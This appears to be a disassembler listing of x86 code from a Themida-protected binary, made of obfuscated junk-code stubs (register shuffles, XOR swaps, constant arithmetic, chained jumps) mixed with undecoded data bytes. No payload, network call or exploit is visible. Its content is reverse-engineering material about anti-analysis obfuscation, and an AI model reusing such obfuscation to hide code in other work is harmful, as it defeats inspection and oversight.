dd 6E996824h, 0C890000h, 78BA5224h, 0E9030A14h, 0FFFF1797h
dd 0E6C0C4B6h, 51D6F604h, 0EC8150B5h, 4, 0B2241489h, 1AFCE981h
dd 0C681FFFFh, 4, 0FF6BA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516345: ; CODE XREF: Themida_:0050DA8Cj
pop esi
push ebx
jmp loc_512FD1
; ---------------------------------------------------------------------------
dd 9DE9CE89h, 0FFFFFFEFh
db 34h, 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_505C5A
; ---------------------------------------------------------------------------
db 31h, 34h, 24h
dd 8B243433h, 3B662424h, 38E99CC8h, 0BBFFFEC7h, 4, 4245C01h
dd 0E9E95D5Bh, 58FFFF39h, 0FF3BE6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5163A9: ; CODE XREF: Themida_:0050D812j
sub [esp], ebp
add dword ptr [esp], 487668F1h
pop ebp
jmp loc_50E903
; ---------------------------------------------------------------------------
db 81h, 0E6h, 0E0h
dd 814D3146h, 0ECECCC6h, 0E9F73123h, 0FFFFCA98h, 4246C81h
dd 14C86CC7h, 4244C01h, 4244481h, 14C86CC7h, 381CBF57h
dd 4481425Bh, 2CE0824h, 7C01793Ah, 6C810824h, 2CE0824h
dd 20E9793Ah, 58FFFF43h, 8904EC83h, 0E0892404h, 0FEE7F2E9h
dd 5AD501FFh, 815DE901h, 67C1B8E9h, 0E95053F6h, 0FFFFCDE0h
dd 4240481h, 5F000000h, 0FFB352E9h, 81E589FFh, 4ECh, 241C8900h
dd 1713BA52h, 0EA813827h, 51C92AF9h, 8105EAC1h, 518846C2h
dd 5AD3893Fh, 8108EBC1h, 468473F3h, 0D239E900h, 0C330FFFEh
dd 0FFC0B60Fh, 34FF8734h, 24048B24h, 7EDA68h, 611FE900h
dd 4159FFFFh, 0E181D9F7h, 6FD74F12h, 61CE9h
db 0
; ---------------------------------------------------------------------------
loc_516485: ; CODE XREF: Themida_:0050C8C6j
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_510DAF
; ---------------------------------------------------------------------------
dd 8904EC83h, 9AE9243Ch, 46FFFEE4h, 0FFB4CFE9h, 24348BFFh
dd 81E18951h, 4C1h, 4BE5600h, 0E9000000h, 0FFFF9701h
; ---------------------------------------------------------------------------
loc_5164C4: ; CODE XREF: Themida_:00509AEAj
push dword ptr [esp]
jmp loc_50E20B
; ---------------------------------------------------------------------------
loc_5164CC: ; CODE XREF: Themida_:00511F9Dj
pop eax
pop dword ptr [esp]
jmp loc_502BCF
; ---------------------------------------------------------------------------
loc_5164D5: ; CODE XREF: Themida_:0050FDCDj
add edx, edi
push eax
push ebx
jmp loc_514321
; ---------------------------------------------------------------------------
loc_5164DE: ; CODE XREF: Themida_:00515801j
mov ebp, 20000h
and eax, ebp
jmp loc_5133D7
; ---------------------------------------------------------------------------
dw 3C31h
dd 243C3324h, 0FFB975E9h, 240C8BFFh, 3304C483h, 14312414h
dd 24143324h, 6424248Bh, 0FE90288h, 0C1FFFF25h, 0D6F708E6h
dd 9937C681h, 0F1297DE1h, 0FFF5E1E9h, 243C33FFh, 0FFE941E9h
dd 52D829FFh, 2A04C6BAh, 5469E91Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516536: ; CODE XREF: Themida_:00502B68j
add bl, al
jmp loc_50BAEB
; ---------------------------------------------------------------------------
db 59h, 0E9h, 0A8h
dd 59FFFF25h, 0FFAAB7E9h
db 0FFh
byte_516549 db 68h, 0DAh, 0 ; DATA XREF: Themida_:0050287Co
dd 45E90000h, 5200000Fh, 124A6ABAh, 65BF2D72h, 0D02958ABh
dd 0AB65BF05h, 24148B58h, 4C481h, 0E9510000h, 0FFFFB950h
dword_516574 dd 24048B66h, 0E904EC83h, 0FFFEF854h, 44E9C329h
; DATA XREF: Themida_:00502828o
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516587: ; CODE XREF: Themida_:0050D247j
mov esp, [esp]
mov [esp], ebp
jmp loc_511CDD
; ---------------------------------------------------------------------------
dw 480h
dd 2C28DE24h, 242C8024h, 242C8ADEh, 5604C483h, 8E9E689h
dd 5CFFFFF9h, 89241C89h, 4C381E3h, 50000000h, 840E36B8h
dd 7F670523h, 0D8F75D58h, 5938F835h, 0B8DCE92Dh, 0EC83FFFFh
dd 242C8904h, 6C5C68h, 24348900h, 0FF2871E9h, 0E9F188FFh
dd 18A2h, 115868h, 241C8900h, 0E3C0A0B3h, 16D7E902h, 5660000h
dd 2D6606ACh, 9AE9465Eh, 0E9FFFFE4h, 0FFFEC4BFh, 0CF1DE952h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_516612: ; CODE XREF: Themida_:0050F3E7j
mov edi, 81A15E3Ah
sub ebp, edi
pop edi
sub edx, 1B6A4233h
jmp loc_50D08C
; ---------------------------------------------------------------------------
loc_516625: ; CODE XREF: Themida_:0050C681j
cmp eax, edx
jz loc_5178A0
push 74A7h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_50979D
; ---------------------------------------------------------------------------
loc_51664B: ; CODE XREF: Themida_:0050543Aj
mov ebp, 4
jmp loc_504C45
; ---------------------------------------------------------------------------
loc_516655: ; CODE XREF: Themida_:0050E505j
mov edx, [esp]
add esp, 4
add esp, 4
push 69Ah
mov [esp], eax
push 49C8h
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
mov ebp, 2EAA7C7Ah
shl ebp, 1
jmp loc_50DDFC
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0D09DE904h, 0EA81FFFFh, 1D252F21h, 57F0EA81h, 3C8B686Ah
dd 4C48324h, 0FF563BE9h, 8EDC1FFh, 0A2DFE956h, 6858FFFFh
dd 4371h, 0BB241C89h, 50823485h, 7E9DA01h, 51FFFEDFh, 0E06FB9B9h
dd 62C18140h, 29F39DEAh, 0FE67E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5166D6: ; CODE XREF: Themida_:005139FAj
xchg esi, [esp]
mov esp, [esp]
jmp loc_517A94
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 2
dd 6DBB53h, 0EB811CA7h, 162E162Dh, 0EBD4E94Bh, 0FF58FFFEh
dd 505F2434h, 0FF2556E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516701: ; CODE XREF: Themida_:00508D05j
pop edx
jmp loc_5146E2
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 243C8700h, 66C3315Ch, 8324148Bh, 3C8904ECh, 4A1D6824h
dd 24890000h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h
dd 0A464E95Ch, 0C221FFFFh, 0FF8A16E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516741: ; CODE XREF: Themida_:0051138Cj
mov ecx, 0DFF2473h
not ecx
sub ecx, 0B6E3BC72h
push esi
mov esi, 7576765Ah
add ecx, esi
pop esi
dec ecx
shl ecx, 1
sub esp, 4
mov [esp], edi
push ebp
mov ebp, 9ED8D51Eh
jmp loc_50BA15
; ---------------------------------------------------------------------------
dw 0BE56h
dd 4, 4F7FED81h, 0F5017444h, 4F7FC581h, 0E95E7444h, 0FFFEE53Ah
dd 24148B66h, 0C8B5451h, 0D032E924h, 0E959FFFFh, 0FFFFE870h
dd 81E78957h, 4C7h, 64BE900h, 0C89FFFFh, 4CC66824h, 24890000h
dd 4BA5224h, 1000000h, 5A042454h, 0FED2BAE9h, 0E95E54FFh
dd 0FFFFFB6Eh, 0D6868h, 243C8900h, 4BDF6851h, 97E957C3h
dd 81FFFFFCh, 15BD82C3h, 5BD9894Bh, 0A7E9CE31h, 68FFFFFFh
dd 1C42h, 89240489h, 4BD55E0h, 1000000h, 0C0835DE8h, 74FF5004h
dd 8F580424h, 0E95C2404h, 0FFFFF1C9h, 286FC380h, 6FEB80C3h
dd 50A4C380h, 535291B4h, 0AE9DFB3h, 55FFFFD7h, 81E28952h
dd 4C2h, 4EA8100h, 87000000h, 545C2414h, 8124048Fh, 42404h
dd 34FF0000h, 0C4835D24h, 4EC8104h, 89000000h, 4B9240Ch
dd 81000000h, 9A56AAC5h, 50ED817Ch, 12BDB61h, 50C581CDh
dd 0E92BDB61h, 0FFFEEC1Bh, 114CEE81h, 0F68152DDh, 486A1EEEh
dd 8106EEC1h, 906A4DE6h, 81DEF717h, 84AFA8EEh, 5EF001A8h
dd 502DC801h, 59567B50h, 2474FF50h, 8CD3E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5168AA: ; CODE XREF: Themida_:005173CDj
push ebx
jmp loc_50B507
; ---------------------------------------------------------------------------
dd 685FF901h, 3C3h, 0FF240C89h, 59042474h, 8B24048Fh, 5BE92424h
db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5168CB: ; CODE XREF: Themida_:005108B1j
mov ecx, 4
jmp loc_50AE9D
; ---------------------------------------------------------------------------
loc_5168D5: ; CODE XREF: Themida_:005102EAj
push edi
mov edi, 4
sub edx, 73340498h
sub edx, edi
jmp loc_50E52B
; ---------------------------------------------------------------------------
dd 0CB3CAB2Dh, 0E9C2295Fh, 0FFFED00Ch
; ---------------------------------------------------------------------------
loc_5168F4: ; CODE XREF: Themida_:00508564j
pop esi
add esp, 4
xchg esi, edi
not esi
xor edi, esi
xor esi, edi
xor edi, esi
add edi, 1
jmp loc_512F2C
; ---------------------------------------------------------------------------
dd 3098B450h, 24048BE2h, 0FF1836E9h, 8EE950FFh
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516923: ; CODE XREF: Themida_:00504789j
pop edi
shr ecx, 7
push ebp
push esp
mov ebp, [esp]
add esp, 4
push eax
jmp loc_5176A9
; ---------------------------------------------------------------------------
dword_516938 dd 240C8B66h, 0FFF8C2E9h, 0FFC331FFh, 0C181E930h, 0E956FFFEh
; DATA XREF: Themida_:00502950o
dd 0FFFF114Dh, 15EF089h, 24048BC2h, 4C481h, 94E90000h
db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516963: ; CODE XREF: Themida_:00505C44j
mov edi, 3C50770Fh
shr edi, 3
dec edi
sub edi, 78A0EDCh
add ebp, edi
pop edi
sub ebp, 4
jmp loc_51129B
; ---------------------------------------------------------------------------
dd 4C381h, 0C3810000h, 4, 5C241C87h, 4BF57h, 0D6E90000h
db 48h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51699B: ; CODE XREF: Themida_:00513A6Cj
xor edi, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_504F85
; ---------------------------------------------------------------------------
loc_5169B0: ; CODE XREF: Themida_:00508380j
push 2CC2h
mov [esp], ebp
jmp loc_50686B
; ---------------------------------------------------------------------------
byte_5169BD db 81h, 0ECh, 4 ; DATA XREF: Themida_:005028ECo
dd 89000000h, 0A1682414h, 89000062h, 64E9240Ch
db 0F0h, 0FEh, 0FFh
byte_5169D3 db 66h ; DATA XREF: Themida_:005028B0o
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, 79651FAAh
jmp loc_50FDF5
; ---------------------------------------------------------------------------
db 55h
dd 0C5815D54h, 4, 0FFAC30E9h, 8E3C1FFh, 95E95352h, 29FFFF40h
dd 529D05D8h, 53E91FCCh, 56FFFF65h, 0FF1401E9h, 0C8B54FFh
dd 4C48124h, 81000000h, 4C1h, 2C18300h, 2474FF51h, 20E3E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516A32: ; CODE XREF: Themida_:005117CEj
pop edi
shl eax, 1
and eax, 5E2E3316h
xor eax, 31CF3ED7h
xor edx, eax
pop eax
push 2597h
mov [esp], edx
not dword ptr [esp]
pop edx
xor edx, 6FC91662h
jmp loc_508276
; ---------------------------------------------------------------------------
db 89h, 0E3h, 57h
dd 0C781E789h, 4, 4EF81h, 20E90000h, 81FFFF6Eh, 831CC4CBh
dd 0BFEB8175h, 81F5D82Bh, 837392C1h, 56D92914h, 0FF603BE9h
dd 51EB01FFh, 7B65EFB9h, 0E9CB2968h, 0FFFECFABh, 4BFFC383h
dd 0FF8A00E9h, 17E981FFh, 89F4CAFFh, 748EE9CFh, 0C481FFFFh
dd 4, 0FF2A40E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516AB9: ; CODE XREF: Themida_:00511099j
sub ah, cl
pop ecx
jmp loc_515D50
; ---------------------------------------------------------------------------
loc_516AC1: ; CODE XREF: Themida_:005109D1j
pop edx
pop ebp
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_516AD6: ; CODE XREF: Themida_:00511230j
xchg edx, [esp]
jmp loc_50CE54
; ---------------------------------------------------------------------------
dw 0F5BBh
dd 0F756D57Dh, 55B850D3h, 290DBC49h, 0DBF758C3h, 559968h
dd 243C8900h, 0ED1A44BFh, 0DCF7810Fh, 0E93D5317h, 0FFFFCB9Fh
dd 8B242C33h, 0D3662424h, 0E99C2424h, 0FFFEBFB3h, 0C581C501h
dd 2CEC1834h, 8124048Bh, 4C4h, 242C3300h, 33242C31h, 248B242Ch
dd 0FCE6E924h, 0BE56FFFEh, 298B346Bh, 348BF001h, 8270E924h
dd 2489FFFFh, 24048124h, 4, 0E9243C8Bh, 0FFFFEAEAh
; ---------------------------------------------------------------------------
loc_516B5C: ; CODE XREF: Themida_:00508C02j
xor eax, ebx
pop ebx
jmp loc_5129E2
; ---------------------------------------------------------------------------
loc_516B64: ; CODE XREF: Themida_:0050B6D1j
pop ebp
add [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 40F5453Dh
push ebx
mov ebx, 63991851h
jmp loc_51102C
; ---------------------------------------------------------------------------
loc_516B94: ; CODE XREF: Themida_:005157DFj
mov [esp], ebp
mov ebp, 5628755Eh
shr ebp, 1
not ebp
and ebp, 24D26F21h
jmp loc_515194
; ---------------------------------------------------------------------------
db 46h
dd 54FAE681h, 0EE814720h, 13DF6A2Dh, 5E18F681h, 0F131BEFEh
dd 0FFD519E9h, 91E953FFh
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_516BCB: ; CODE XREF: Themida_:00509779j
sub ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_50C2F0
; ---------------------------------------------------------------------------
loc_516BDB: ; CODE XREF: Themida_:0051194Bj
inc cl
dec cl
push ecx
jmp loc_5106E6
; ---------------------------------------------------------------------------
db 5Ah, 0F6h, 0D9h
dd 0FF7C7FE9h, 2EE95FFFh, 80FFFF95h, 0F8207AEFh, 0FFAC75E9h
dd 4EC83FFh, 0FF240C89h, 59042474h, 0E924048Fh, 0FFFFE0A4h
; ---------------------------------------------------------------------------
loc_516C10: ; CODE XREF: Themida_:0050C6FCj
sub esp, 4
jmp loc_5087C6
; ---------------------------------------------------------------------------
loc_516C1B: ; CODE XREF: Themida_:0050A0B5j
push eax
jmp loc_515DBB
; ---------------------------------------------------------------------------
db 51h, 0B9h, 75h
dd 8924FF3Ch, 0D3F759CBh, 0E381EBD1h, 172A74DFh, 7348CB81h
dd 0C3817F3Eh, 9D2BA636h, 6BE9D831h, 89FFFFC8h, 0C30FE9E5h
dd 5BBBFFFEh, 0E9282458h, 0FFFECC98h, 8304C483h, 0C9E904ECh
dd 89FFFF97h, 0BCB22414h, 4EC81h, 14890000h, 5074B224h
dd 0C788D088h, 8124048Bh, 4C4h, 0E7C05A00h, 0A0B55106h
dd 283EB652h, 0C1B4E9F5h, 0CB80FFFEh, 12B652B8h, 98E9F308h
dd 1FFFF57h, 79E959C8h, 55FFFED1h, 4BDh, 0B5E98100h, 1389C3Fh
dd 0B5C181E9h, 5D389C3Fh, 46853h, 0E95B0000h, 0FFFEE6F7h
; ---------------------------------------------------------------------------
loc_516CC8: ; CODE XREF: Themida_:00514C92j
or esi, 68BB0D83h
push esi
dec dword ptr [esp]
pop esi
shr esi, 6
shl esi, 1
add esi, 3D6078Ch
push ebx
mov ebx, 41687215h
xor ebx, 46747399h
xor esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_50A142
; ---------------------------------------------------------------------------
loc_516CF7: ; CODE XREF: Themida_:00505431j
push ecx
mov ch, bl
sub esp, 4
mov [esp], ebx
mov bl, ch
jmp loc_503B3B
; ---------------------------------------------------------------------------
loc_516D07: ; CODE XREF: Themida_:00510A6Bj
mov esi, 4
add ebx, esi
jmp loc_516FA9
; ---------------------------------------------------------------------------
db 81h
dd 0FFFFFFEBh, 18C381FFh, 1A25E59h, 1FD1E9DDh, 0C181FFFFh
dd 4, 0EE568h, 243C8900h, 1979BA52h, 89537130h, 0E9DF89D3h
dd 0FFFF14B0h
; ---------------------------------------------------------------------------
loc_516D44: ; CODE XREF: Themida_:0050928Cj
pop ebx
add edx, 0EFE0F9Ah
jmp loc_512133
; ---------------------------------------------------------------------------
dd 2B8h, 0FFC30100h, 1DE92434h, 89FFFEF8h, 75BA52E6h, 8143F969h
dd 39E207C2h, 2E2C108h, 0BBF28142h, 534C3B4Eh, 6554D6BBh
dd 0E2F38117h, 0C158C92Ah, 0EB8107EBh, 83A8F5AEh, 15BDA31h
dd 6685AD6h, 0E900004Dh, 0FFFEDA63h, 835AD601h, 0ADE904ECh
dd 52FFFF25h, 0EEC0FEB6h, 0B6C68004h, 0E95AF188h, 954h
; ---------------------------------------------------------------------------
loc_516DB8: ; CODE XREF: Themida_:0050979Ej
mov [esp], ebx
jmp loc_50FBA2
; ---------------------------------------------------------------------------
dd 4C481h, 0EC810000h, 4, 0B9240C89h, 2, 0FFA85DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_516DD9: ; CODE XREF: Themida_:0050910Dj
sub bl, 5Dh
push 666Ah
mov [esp], ecx
mov cl, 0F8h
sub cl, 8Eh
sub cl, 0FFh
add cl, 3Dh
push 0
sub [esp], cl
mov cl, [esp]
jmp loc_50EA7A
; ---------------------------------------------------------------------------
db 5Eh
dd 0EF81F701h, 14632957h, 767DE953h, 9B8FFFFh, 5455C1Bh
dd 0C1794649h, 0E958C331h, 0FFFF5C8Fh
; ---------------------------------------------------------------------------
loc_516E20: ; CODE XREF: Themida_:0051457Aj
mov ebp, [esp]
add esp, 4
push eax
pop ebx
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
push esp
pop ecx
push ebp
jmp loc_516008
; ---------------------------------------------------------------------------
db 9, 0DEh, 8Bh
dd 0C483241Ch, 5E6C104h, 0FFABD4E9h, 242C89FFh, 66CD8966h
dd 595DEE89h, 87CE8166h, 0AA5E953h, 3C870000h, 0F08FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_516E6A: ; CODE XREF: Themida_:0050D326j
mov [esp], ebp
push 7C47h
mov [esp], esi
jmp loc_5058C3
; ---------------------------------------------------------------------------
dw 0F281h
dd 0E48AE6CDh, 3995C581h, 0D529339Eh, 3995ED81h, 148B339Eh
dd 1098E924h, 0CBDFFFFh, 0BA060934h, 6093410h, 0FF5D66E9h
dd 6CC781FFh, 118E32Ah, 6CEF81F7h, 8B18E32Ah, 0C4832434h
dd 0A0BD5504h, 3105FD5Fh, 0E7E95DEFh, 89FFFF1Ch, 5DBE9E1h
dd 42D0000h, 87000000h, 0E95C2404h, 0FFFFCD2Fh, 5F8015Ch
dd 26777BABh, 83243C8Bh, 0FE904C4h, 58FFFF80h, 405h, 4EC8300h
dd 0BD242C89h, 4, 14216305h, 3DDA2D12h, 99E9568Ch
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_516F0F: ; CODE XREF: Themida_:0050A882j
mov edx, 0B4061Fh
add edx, 0FF4BF9E5h
add ebp, edx
jmp loc_502FF8
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 81000000h, 4ECh, 24148900h, 0FF6468E9h, 36C181FFh, 2977AD02h
dd 36E981D1h, 5A77AD02h, 2474FF51h, 0BE69E904h, 8153FFFFh
dd 4ECh, 24148900h, 531E9h, 90C28100h, 8B748B3Ch, 2434FF02h
dd 0FF8630E9h, 6A27BBFFh, 0BF570E26h, 67AA4405h, 0CF81DFF7h
dd 463241BEh, 48A2E781h, 0CF810A71h, 54373CDh, 0B6C2C781h
dd 6FE94B0Ah, 66FFFEF6h, 0E95DE901h, 0FFFFC93Ah
; ---------------------------------------------------------------------------
loc_516FA0: ; CODE XREF: Themida_:0051608Bj
pop esp
pop dword ptr [edi+24h]
jmp loc_513D84
; ---------------------------------------------------------------------------
loc_516FA9: ; CODE XREF: Themida_:00516D0Ej
pop esi
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add esp, 4
shr ecx, 6
jmp loc_512369
; ---------------------------------------------------------------------------
db 59h, 89h, 0FAh
dd 5F2434FFh, 0E904C483h, 0FFFF7464h
; ---------------------------------------------------------------------------
loc_516FD0: ; CODE XREF: Themida_:0050E277j
push esi
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
pop esi
jmp loc_502ACB
; ---------------------------------------------------------------------------
dw 48Fh
dd 2823E924h, 0FD29FFFFh, 87F5815Fh, 814D6B2Bh, 20053CEEh
dd 51EE2907h, 7F4380B9h, 0E1C14966h, 0E9814906h, 98B0DA83h
dd 8B59CE01h, 0C483242Ch, 0C6815804h, 59397624h, 0EE81D601h
dd 59397624h, 597ABD55h, 0EE29053Bh, 0EE815A5Dh, 0A773E3h
dd 0C681C601h, 0A773E3h, 4BA2EE81h, 0BB532AA4h, 44F72461h
dd 3C9BF381h, 0EE94C8Bh, 5AFFFF81h, 0FFF6D9E9h, 4C483FFh
dd 0FEBA62E9h, 1AC181FFh, 0E9297B44h, 0FFFFA3DEh, 0B850h
dd 0ABE90000h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51707F: ; CODE XREF: Themida_:0050C0ECj
push ecx
push dword ptr [esp+4]
jmp loc_50E4E4
; ---------------------------------------------------------------------------
db 55h, 57h, 0E9h
dd 0FFFF8FC4h, 4C281h, 0BB530000h, 4, 0D80EA81h, 0D4E95E59h
dd 5EFFFF0Dh, 701568h, 240C8900h, 8904EC83h, 0BD55243Ch
dd 2, 242C8155h, 3FD07BEh, 0BEC7815Fh, 5D03FD07h, 0E95FF989h
dd 0FFFF5551h, 18E9E089h, 80FFFEF4h, 0A0E921C6h, 8BFFFFC9h
dd 0C481240Ch, 4, 3C8BF831h, 5B545324h, 4C381h, 0C3830000h
dd 241C8704h, 0FF9274E9h, 0B9C1E9FFh, 0C481FFFEh, 4, 0FEC691E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517115: ; CODE XREF: Themida_:00515C16j
xor ebp, [esp]
pop esp
mov [esp], eax
push 4D13h
mov [esp], ebx
push 30312F46h
mov ebx, [esp]
add esp, 4
neg ebx
jmp loc_512096
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 8B2414F7h, 0C4812434h, 4, 4EC8357h, 8B243489h, 0C481243Ch
dd 4, 0E924348Bh, 0FFFF6CFBh, 513368h, 0D74FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51716A: ; CODE XREF: Themida_:00502F2Ej
mov edx, 0C1D0817h
sub ebx, edx
pop edx
sub ebx, edx
add ebx, 0C1D0817h
add ebx, 2CB350F8h
pop edx
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
push esi
push edx
mov edx, 203748h
mov esi, edx
pop edx
push eax
push 6B476C9Bh
pop eax
add eax, 0CC6090D8h
mov ecx, eax
jmp loc_50FBDE
; ---------------------------------------------------------------------------
loc_5171A7: ; CODE XREF: Themida_:00512E5Fj
mov eax, 1E8602A5h
inc eax
dec eax
sub eax, 851D5C8h
mov edx, eax
pop eax
jmp loc_50C464
; ---------------------------------------------------------------------------
db 0BEh
dd 0B0766DCh, 0FECE6BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5171C5: ; CODE XREF: Themida_:00515C6Aj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_502ACB
; ---------------------------------------------------------------------------
dw 5768h
dd 8900000Eh, 1DE9240Ch, 5DFFFF12h, 0FF395BE9h, 3E9C1FFh
dd 0F708E1C1h, 81E950D9h, 81FFFFEDh, 1D45F1C2h, 2437E992h
dd 2C89FFFFh, 5CF16824h, 0C890000h, 0E427E924h, 1705FFFEh
dd 0E92CA16Ah, 0FFFF81A9h, 0E9CCF380h, 0FFFEEB3Ch, 539CC781h
dd 0D729685Bh, 539CEF81h, 148B685Bh, 4C48324h, 3C8BF801h
dd 4C48324h, 592434FFh, 51E08950h, 0FF0BFAE9h, 0A0E959FFh
dd 89FFFFF9h, 49E9240Ch, 0FFFF91h, 4EC81D8h, 0E9000000h
dd 0FFFF4314h, 24148966h, 0E99C5066h, 0FFFEB857h
; ---------------------------------------------------------------------------
loc_517274: ; CODE XREF: Themida_:0050FD81j
not edi
push ecx
push edi
pop ecx
pop edi
jmp loc_50A306
; ---------------------------------------------------------------------------
db 1
dd 8EE95DEEh
db 52h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_517287: ; CODE XREF: Themida_:0051780Ej
mov edx, esp
add edx, 4
push 2946h
jmp loc_5040A8
; ---------------------------------------------------------------------------
loc_517299: ; CODE XREF: Themida_:00506B51j
add esp, 4
add esp, 4
sub [edi+24h], ebx
pop ebx
loc_5172A3: ; CODE XREF: Themida_:005037F8j
push 4CE4h
mov [esp], edi
sub esp, 4
mov [esp], edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_50DF78
; ---------------------------------------------------------------------------
dw 315Dh
dd 0BA24E9D0h, 0CC04FFFFh, 5152665Ah, 48B637B5h, 2DB05066h
dd 806CEE80h, 0C628A4EEh, 80A4C680h, 58666CC6h, 0C680EE28h
dd 240C8B2Dh, 4C481h, 27E90000h, 52FFFEE6h, 0E951EA88h
dd 0FFFFC010h, 0C273F4BEh, 31EE8165h, 81333168h, 0EC42B9CEh
dd 0C7CAE964h, 0E95BFFFFh, 0FFFF831Ah, 51241C8Bh, 0C181E189h
dd 4, 8704C183h, 515C240Ch, 0BB53E189h, 7B70036Dh, 0E3E9DBF7h
db 0D8h, 0FEh, 0FFh
byte_51734B db 0FFh ; DATA XREF: Themida_:005029BCo
dd 83582434h, 0EEE904ECh, 55FFFEC3h, 0FFA5F9E9h, 241C89FFh
dd 0C381E389h, 4, 4C381h, 1C870000h, 86685C24h, 8900000Bh
dd 0DD682414h, 83000012h, 248904ECh, 24048324h, 6C9E904h
dd 0EA800000h, 5AD32822h, 0B151CBFEh, 99D7E9AEh, 0EC80FFFFh
dd 58E230D9h, 0D5E9D088h, 66FFFF14h, 8890B151h, 2951E9CFh
dd 34FFFFFFh, 6AAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5173BE: ; CODE XREF: Themida_:0050F088j
mov eax, 244E64BFh
or eax, 129340D6h
add eax, 75C73E59h
jmp loc_5168AA
; ---------------------------------------------------------------------------
loc_5173D2: ; CODE XREF: Themida_:005037A1j
dec ecx
add ecx, 4BE20ACEh
mov edi, ecx
pop ecx
jmp loc_514BDD
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 268h, 0B299E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5173EE: ; CODE XREF: Themida_:0050DC1Bj
push ecx
jmp loc_505AAE
; ---------------------------------------------------------------------------
dd 0B227C381h, 0DE31052Bh, 0EC83465Bh, 243C8904h, 0FECFEDE9h
dd 4C281FFh, 83000000h, 148702EAh, 89665C24h, 0F66240Ch
dd 5166C8B6h, 0B6A5E99Ch, 8B5CFFFEh, 0C481242Ch, 4, 0E906E7C1h
dd 3E6h, 0F658C688h, 66F388D6h, 1BEB805Ah, 0FF2335E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_517449: ; CODE XREF: Themida_:00515FF8j
push esi
push edx
jmp loc_510115
; ---------------------------------------------------------------------------
dd 4EC81h, 0DAE90000h
db 79h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51745B: ; CODE XREF: Themida_:005142B4j
mov ebx, 266E0856h
sub ebx, 0FFFFFFFFh
push edi
mov edi, 61212Dh
add edi, 443AE983h
xor ebx, edi
pop edi
xor edi, ebx
jmp loc_5074D0
; ---------------------------------------------------------------------------
loc_517479: ; CODE XREF: Themida_:00509383j
not edx
jmp loc_509482
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFEFD12h, 0EFD5E95Ah, 3468FFFEh, 0E951D149h
dd 0FFFF0C60h, 89241C89h, 4C381E3h, 56000000h, 0FF2B5CE9h
dd 4C181FFh, 81000000h, 4C1h, 240C8700h, 0FEEEEDE9h, 4C481FFh
dd 5E000000h, 0FF0916E9h, 24148BFFh, 0FED20BE9h, 1C181FFh
dd 0E978E844h, 0FFFF3BC9h, 5D5FFB31h, 8B1C5F21h
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_50D43F
; ---------------------------------------------------------------------------
loc_5174EE: ; CODE XREF: Themida_:00513AA2j
sub eax, ebp
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5100A9
; ---------------------------------------------------------------------------
dw 55BBh
dd 89354E21h, 0D6E95BD9h
db 0A2h, 2 dup(0FFh)
